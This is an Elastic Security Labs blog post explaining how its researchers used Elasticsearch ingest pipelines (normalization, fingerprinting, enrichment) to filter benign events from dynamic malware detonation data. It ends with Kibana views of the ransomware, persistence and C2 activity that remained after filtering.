<h3>Overview</h3>
<p>In order to accomplish our large-scale malware analysis goals, we required effective data management. An overview of the chained ingest pipelines and processors that we built is shown below:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image1.png" alt="Ingest pipeline process overview" /></p>
<p>In summary, we fingerprint known good binaries and store those fingerprints in an enrich index. We do the same thing when we detonate malware or an unknown binary, using a comparison of those fingerprints to quickly filter out low-value data.</p>
<h3>Ingest pipelines</h3>
<p><a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/ingest.html">Ingest pipelines</a> are a powerful feature that allows you to preprocess and transform data before indexing it into Elasticsearch. They provide a way to perform various actions on incoming documents, such as enriching the data, modifying fields, extracting information, or applying data normalization. Ingest pipelines can be customized to meet specific data processing requirements. Our objective was to create a pipeline that differentiates known benign documents from a dataset containing both benign and malicious records. We ingested large benign and malicious datasets into separate namespaces and built pipelines to normalize the data, calculate fingerprints, and add a specific label based on certain criteria. This label helps differentiate between known benign and unknown data.</p>
<h3>Normalization</h3>
<p>Normalization is the process of organizing and transforming data into a consistent and standardized format. When dealing with lots of different data, normalization becomes important to ensure consistency, improve search and analysis capabilities, and enable efficient data processing.</p>
<p>The goal is to make sure documents with unique identifiers are no longer unique. For example, we remove the unique 6-character filename of the Elastic Agent in the &quot; <code>/opt/Elastic/Agent/data/</code>&quot; directory after installation. This ensures data from different Elastic Agents can be fully comparable, leading to more filtering opportunities in later pipeline phases.</p>
<p>To accomplish this, we leveraged the <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/gsub-processor.html">gsub pipeline</a>. It allowed us to apply regex-based transformations to fields within the data pipeline. We performed pattern matching and substitution operations to normalize event data, such as removing special characters, converting text to lowercase, or replacing certain patterns with standardized values.</p>
<p>By analyzing our dataset, we discovered a set of candidates that would require normalization, and created a simple Python script to generate a list of gsub processors based on the matching value and the replacement value. The script that we leveraged can be found on <a href="https://github.com/elastic/labs-releases/tree/main/tools/malware_research">GitHub</a>. Using the output of the script, we can leverage dev tools to create a pipeline containing the generated gsub processors.</p>
<p>Prior to utilizing the normalization pipeline, documents would contain random 6 character strings for every single Elastic agent. An example is displayed below.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image6.png" alt="Document before normalization" /></p>
<p>After ingesting and manipulating the documents through the normalization pipeline, the result looks like the following.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image13.png" alt="Document after normalization" /></p>
<p>When all documents are normalized, we can continue with the fingerprint calculation process.</p>
<h3>Fingerprint calculation</h3>
<p>Fingerprint calculations are commonly used to generate a unique identifier for documents based on their content. The <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/fingerprint-processor.html">fingerprint ingest pipeline</a> provides a convenient way to generate such identifiers by computing a hash value based on the specified fields and options, allowing for efficient document deduplication and comparison. The pipeline offers various options, including algorithms (such as MD5 or SHA-1), target fields for storing the generated fingerprints, and the ability to include or exclude specific fields in the calculation.</p>
<p>We needed to calculate the fingerprints of documents ingested into Elasticsearch from several sources and integrations such as endpoint, <a href="https://docs.elastic.co/integrations/auditd_manager">auditd manager</a>, packetbeat, <a href="https://docs.elastic.co/integrations/fim">file integrity monitoring</a> etc. To calculate the fingerprints, we first needed to specify which fields we wanted to calculate them for. Because different data sources use different fields, it was important to create separate processors for each data type. For our use case, we ended up creating a different fingerprint processor for the following set of event categories:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image20.jpg" alt="Gsub ingest processor" /></p>
<p>By specifying a condition we ensure that each processor only runs on its corresponding dataset.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image21.jpg" alt="Event filter example" /></p>
<p>The included fields to these processors are of the utmost importance, as they can indicate if a field is less static than expected or if an empty field could result in a non-functional pipeline. For example, when working with network data, it might initially make sense to include protocol, destination ip, destination port, source ip and source port. But this will lead to too much noise in the pipeline, as the socket that is opened on a system will be opened on an ephemeral source port, which will result in many unique fingerprints for otherwise identical network traffic. Some fields that may be subject to change relate to file sizes, version numbers, or specific text fields that are not being parsed. Normalization sometimes preserves fields that aren't useful for fingerprinting, and the more specific the fingerprint the less useful it tends to be. Fingerprinting by file hash illustrates this, while adding an empty space to the file causes a new hash to be calculated, this would break an existing hash-based fingerprint of the file.</p>
<p>Field selection is a tedious process but vital for good results. For a specific integration, like auditd manager, we can find the <a href="https://github.com/elastic/integrations/tree/main/packages/auditd_manager">exported fields</a> on <a href="https://github.com/elastic/integrations/tree/main/packages">GitHub</a> and pick the ones that seem useful for our purposes. An example of the processor that we used for <code>auditd\_manager</code> can be found in the image below.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image12.png" alt="Example of the event's fingerprint fields used for the calculation." /></p>
<h3>Enrichment process</h3>
<p>The <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/enrich-processor.html">enrich ingest pipeline</a> is used for enriching incoming documents with additional information from external data sources. It allows you to enrich your data by performing lookups against an index or data set, based on specific criteria. Common use cases for the enrich ingest pipeline include augmenting documents with data from reference datasets (such as geolocation or customer information) and enriching logs with contextual information (like threat intelligence labels).</p>
<p>For this project we leveraged enrich pipelines to add a unique identifier to the ingested document if it met certain criteria described within an enrich policy. To accomplish this, we first ingested a large and representative batch of benign data using a combination of normalization and fingerprint calculation pipelines. When the ingestion was completed, we set up several <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/ingest-enriching-data.html">enrich policies</a> through the <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/execute-enrich-policy-api.html">execute enrich policy API</a>. The execution of these enrich policies will create a set of new .enrich-* system indices. The results stored within these indices will later be used by the pipelines used to ingest mixed (benign and malicious) data.</p>
<p>This will make more sense with an example workflow. To leverage the enrich ingest pipeline, we first need to create enrich policies. As we are dealing with different data sources - meaning network data looks very different from auditd manager data - we will have to create one enrich policy per data type. In our enrich policy we may use a query to specify which documents we want to include in our enrich index and which ones we want to exclude. An example enrich policy that should add all auditd manager data to the enrich index, other than the data matching three specific match phrases, is displayed below.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image14.jpg" alt="Creation of the enrich policy" /></p>
<p>We are leveraging the “fingerprint” field which is calculated in the fingerprint processor as our match field. This will create an index filled with benign fingerprints to be used as the enriching index within the enrich pipeline.</p>
<p>After creating this policy, we have to execute it for it to read the matching index, read the matching field, query for inclusions and exclusions, and create the new .enrich-* system index. We do this by executing a POST request to the _execute API.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image18.jpg" alt="Example API request to execute the enrich policy" /></p>
<p>We set wait_for_completion=false to make sure that the policy doesn’t time out. This might occur if the dataset is too large. When we navigate to index management and include hidden indices, we can see that the index is created successfully.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image16.jpg" alt="The newly created enrich-* system index" /></p>
<p>We now have a list of known benign fingerprints, which we will use within our enrich pipeline to filter our mixed dataset with. Our enrich pipeline will once again use a condition to differentiate between data sources. An overview of our enrich processors is displayed below.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image8.jpg" alt="Enrich ingest pipeline" /></p>
<p>Focusing on the auditd manager, we built an enrich processor using the condition field to check if the document's dataset is auditd_manager.auditd. If it matches, we reference the enrich policy we created for that dataset. Using the fingerprint field, we match and enrich incoming documents. If the fingerprint is known within the enrich indices we created, we add the &quot;enrich_label&quot; field with the fingerprint to the document. See the processor below.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image7.png" alt="Configuration example" /></p>
<p>Once a document originating from the auditd_manager.auditd dataset comes through, the enrich processor is executed, and this finally executes a <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/script-processor.html">script processor</a>. The script processor allows us to run inline or stored scripts on incoming documents. We leverage this functionality to read each document in the pipeline, check whether the “enrich_label” field was added; and if this is the case, we set a new boolean field called “known_benign” to true and remove the “enrich_label” and “enriched_fingerprint” fields. If the document does not contain the “enrich_label” field, we set “known_benign” to false. This allows us to easily filter our mixed dataset in Kibana.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image3.jpg" alt="Script processor" /></p>
<p>When using the “test pipeline” feature by adding a document that contains the “enrich_label”, we can see that the “fingerprint” and the “known_benign” fields are set.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image22.jpg" alt="Testing the pipeline with a benign document" /></p>
<p>For documents that do not contain “enrich_label”, just the fingerprint is set.</p>
<p>Working with these enrich policies requires some setup, but once they are well structured they can truly filter out a lot of noise. Because doing this manually is a lot of work, we created some simple Python scripts to somewhat automate this process. We will go into more detail about how to automate the creation of these enrich policies, their execution, the creation of the enrich pipeline and more shortly.</p>
<h4>Ingest pipeline chaining</h4>
<p>The <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/pipeline-processor.html">pipeline ingest pipeline</a> provides a way to chain multiple ingest pipelines. By chaining pipelines, we create a sequence of operations that collectively shapes the incoming data in the form that we want, facilitating our needs for data normalization, fingerprint calculation, and data enrichment.</p>
<p>In our work with Detonate, we ended up creating two ingest pipelines. The first will process benign data, which consists of a normalization pipeline and a fingerprint calculation pipeline. The next will process malicious data, consisting of a normalization, fingerprint calculation, and enrichment pipeline. An example of this would be the following:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image15.jpg" alt="Pipeline ingest pipeline" /></p>
<p>With the pipelines in place, we need to ensure that they are actually being used when ingesting data. To accomplish this, we leverage component templates.</p>
<h3>Component templates</h3>
<p><a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/indices-component-template.html">Component templates</a> are reusable configurations that define the settings and mappings for specific types of Elasticsearch components. They provide a convenient way to define and manage consistent configurations across multiple components, simplifying the management and maintenance of resources.</p>
<p>When you first start using any fleet integrations, you would notice that a lot of component templates are created by default. These are also tagged as &quot;managed&quot;, meaning that you can't change the configuration.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image24.png" alt="Component template overview" /></p>
<p>In order to accommodate users that want to post process events that are ingested via the fleet managed agent, all index templates call out to a final component template whose name ends in <code>@custom</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image9.png" alt="Custom component template overview" /></p>
<p>The settings you put in these components will never be changed by updates. In our use case, we use these templates to add a mapping for the enrichment fields. Most of the data that is ingested via the fleet and its integrations will go through an ingest pipeline. These pipelines will follow the same pattern in order to accommodate user customizations. Take for example the following ingest pipeline:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image23.jpg" alt="Example of fleet manager component template" /></p>
<p>We can see that it is managed by fleet and it is tied to a specific version (e.g. 8.8.0) of the integration. The processor will end by calling the <code>@custom</code> pipeline, and ignore it if it doesn't exist.</p>
<p>We want to add our enrichment data to the documents using the enrichment pipelines we described in the previous section. This can now simply be done by creating the <code>@custom</code> pipeline and having that call out to the enrichment pipeline.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image5.jpg" alt="Example of the created custom ingest pipeline" /></p>
<h3>Automating the process</h3>
<p>In order to create the gsub processors, ingest pipelines, and enrich policies, we had to use three Python scripts. In the next section we will showcase these scripts. If you choose to integrate these scripts, remember that you will need to adjust them to match your own environment in order to make them work.</p>
<h4>Creating the gsub ingest pipelines</h4>
<p>In order to create a gsub pipeline that will replace the given random paths by static ones we used a Python <a href="https://github.com/elastic/labs-releases/blob/main/tools/malware_research/gsub_pipeline_json_object.py">script</a> that takes several fields and patterns as an input, and prints out a json object which can be used by the pipeline creation API.</p>
<h4>Create Custom Pipelines</h4>
<p>After setting up the gsub pipeline, we leveraged <a href="https://github.com/elastic/labs-releases/blob/main/tools/malware_research/custom_pipelines.py">a second Python script</a> that searches for all fleet managed configurations that call an @custom ingest pipeline. It will then create the appropriate pipeline, after which all the custom pipelines will be pointing to the <code>process_local_events</code> pipeline.</p>
<h4>Generate Enrichment Processors</h4>
<p>Finally, we created a <a href="https://github.com/elastic/labs-releases/blob/main/tools/malware_research/enrich_policy_setup.py">third</a> Python script that will handle the creation of enrichment processors in four steps.</p>
<ol>
<li><code>The cleanup process</code> : While an enrichment processor is used in an ingest pipeline it cannot be deleted. During testing and development we simply delete and recreate the ingest pipeline. This is of course not recommended for production environments.</li>
<li><code>Create enrich policies</code> : The script will create every individual policy.</li>
<li><code>Execute the policies</code> : This will start the process of creating the hidden enrichment system index. Note that the execution of the policy will take longer than the execution of the script as it will not wait for the completion of the command. Elastic will create the enrichment index in the background.</li>
<li><code>Re-create the ingest pipeline</code> : After the enrich policy has been updated, we can now re-create the ingest pipeline that uses the enrichments.</li>
</ol>
<p>After executing these three scripts, the whole setup is completed, and malicious data can be ingested into the correct namespace.</p>
<h3>Results and limitations</h3>
<p>Our benign dataset includes 53,267,892 documents generated by executing trusted binaries on a variety of operating systems and collecting events from high-value data sources. Using this normalized benign dataset, we calculated the fingerprints and created the enrich policies per data type.</p>
<p>With this setup in place, we detonated 332 samples. After removing the Elastic agent metrics and endpoint alerts from the datasets, we ended up with a mixed dataset containing a total number of 41,710,279 documents.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image17.jpg" alt="Results prior to filtering on known_benign = false" /></p>
<p>After setting “known_benign” to false, we end up with 1,321,949 documents. This is a decrease of 96.83% in document count.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image4.png" alt="Results after filtering on known_benign = false" /></p>
<p>The table below presents an overview of each data source and its corresponding number of documents before and after filtering on our “known_benign” field.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/Screenshot_2023-07-27_at_11.08.25_AM.jpg" alt="Results of filtering out benign data" /></p>
<p>We can see that we managed to successfully filter most data sources by a decent percentage. Additionally, the numbers presented in the “after” column include malicious data that we do want to capture. For example, amongst the different malware samples several included ransomware - which tends to create a lot of file events. Also, all of the http traffic originated from malware samples trying to connect to their C2’s. The auditd_manager and fim.event datasets include a lot of the syscalls and file changes performed by the samples.</p>
<p>While building out this pipeline, several lessons were learnt. First of all, as mentioned before, if you add one wrong field to the fingerprint calculation the whole dataset might end up generating lots of noise. This can be seen by adding the source.port to the packetbeat fingerprint calculation, resulting in the endpoint.events.network and all network_traffic-* datasets to increase drastically.</p>
<p>The second lesson we learned: it is not only important to have a representative dataset, but it is also important to have a large dataset. These two go hand in hand, but we learnt that having a small dataset or a dataset that does not generate very similar behavior to the dataset that will be ingested later, will cause the pipelines to be less than half as effective.</p>
<p>Finally, some data sources are better suited for this filtering approach than others. For example, when dealing with <code>system.syslog</code> and <code>system.auth</code> events, most of the fields within the document (except the message field) are always the same. As we cannot use this approach for unstructured data, such as plain text fields, our filter would filter out 99% of the events when just looking at the remaining fields.</p>
<h3>Visualizing results</h3>
<p>Kibana offers many great options to visualize large datasets. We chose to leverage the Lens functionality within Kibana to search through our malicious dataset. By setting <code>known\_benign</code> to false, setting <code>count of fingerprint</code> as a metric, and sorting by ascending order, we can right away see different malware samples execute different tasks. Examples of file events is shown below.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image2.png" alt="Using Lens to visualize malicious file events" /></p>
<p>Within this table, we can see - suspicious files being created in the <code>/dev/shm/</code> directory - “ <code>HOW_TO_DECRYPT.txt</code> ” file creations indicating the creation of a ransom message - Files being changed to contain new random file extensions, indicating the ransomware encryption process.</p>
<p>When looking into file integrity monitoring events, we can also very easily distinguish benign events from malicious events by applying the same filter.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image10.jpg" alt="Using Lens to visualize malicious symlink events" /></p>
<p>Right away we notice the creation of a symlink for a <code>linux.service</code> and <code>bot.service</code> , and several run control symlinks to establish persistence onto the system.</p>
<p>Looking at network connections, we can see <code>connection\_attempted</code> events from malicious samples to potential C2 servers on several uncommon ports.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image19.jpg" alt="Using Lens to visualize malicious network connections" /></p>
<p>Finally, looking at auditd manager syscall events, we can see the malware opening files such as cmdline and maps and attempting to change the permissions of several files.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image11.png" alt="Using Lens to visualize malicious syscalls" /></p>
<p>Overall, in our opinion the data cleaning results are very promising and allow us to more efficiently conduct dynamic malware analysis on a large scale. The process can always be further optimized, so feel free to take advantage of our approach and fine tune it to your specific needs.</p>
<h2>Beyond Dynamic Malware Analysis</h2>
<p>In the previous sections we described our exact use case for leveraging fingerprint and enrich ingest pipelines. Other than malware analysis, there are many other fields that can reap the benefits of a workflow similar to the one outlined above. Several of these applications and use cases are described below:</p>
<ul>
<li>Forensics and Security: Fingerprinting can be employed in digital forensics and security investigations to identify and link related artifacts or events. It helps in tracing the origin of data, analyzing patterns, and identifying potential threats or anomalies in log files, network traffic, or system events. Researchers over at Microsoft leveraged fuzzy hashing in <a href="https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/fuzzy-hashing-logs-to-find-malicious-activity/ba-p/3786669">previous research</a> to detect malicious web shell traffic.</li>
<li>Identity Resolution: Fingerprinting can be used to uniquely identify individuals or entities across different data sources. This is useful in applications like fraud detection, customer relationship management, and data integration, where matching and merging records based on unique identifiers is crucial.</li>
<li>Data Deduplication: Fingerprinting can help identify and eliminate duplicate records or documents within a dataset. By comparing fingerprints, you can efficiently detect and remove duplicate entries, ensuring data integrity and improving storage efficiency. Readers interested in data deduplication use cases might find great value in pre-built tools such as <a href="https://blog.foxio.io/introducing-logslash-and-the-end-of-traditional-logging-2c6708b6fc1c">Logslash</a> to achieve this goal.</li>
<li>Content Management: Fingerprinting can be used in content management systems to detect duplicate or similar documents, images, or media files. It aids in content deduplication, similarity matching, and content-based searching by improving search accuracy and enhancing the overall user experience.</li>
<li>Media Identification: Fingerprinting techniques are widely used in media identification and recognition systems. By generating unique fingerprints for audio or video content, it becomes possible to identify copyrighted material, detect plagiarism, or enable content recommendation systems based on media similarity.</li>
</ul>
<h2>Conclusion</h2>
<p>There are many different approaches to dynamic malware analysis. This blog post explored some of these options by leveraging the powerful capabilities offered by Elastic. Our aim was to both present a new method of dynamic malware analysis while at the same time broadening your understanding and knowledge of the built-in functionalities within Elastic.</p>
<p>Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.</p>
<p>Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at <a href="http://www.elastic.co/de/security-labs/">www.elastic.co/security-labs/</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/blog-thumb-steel-engine.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>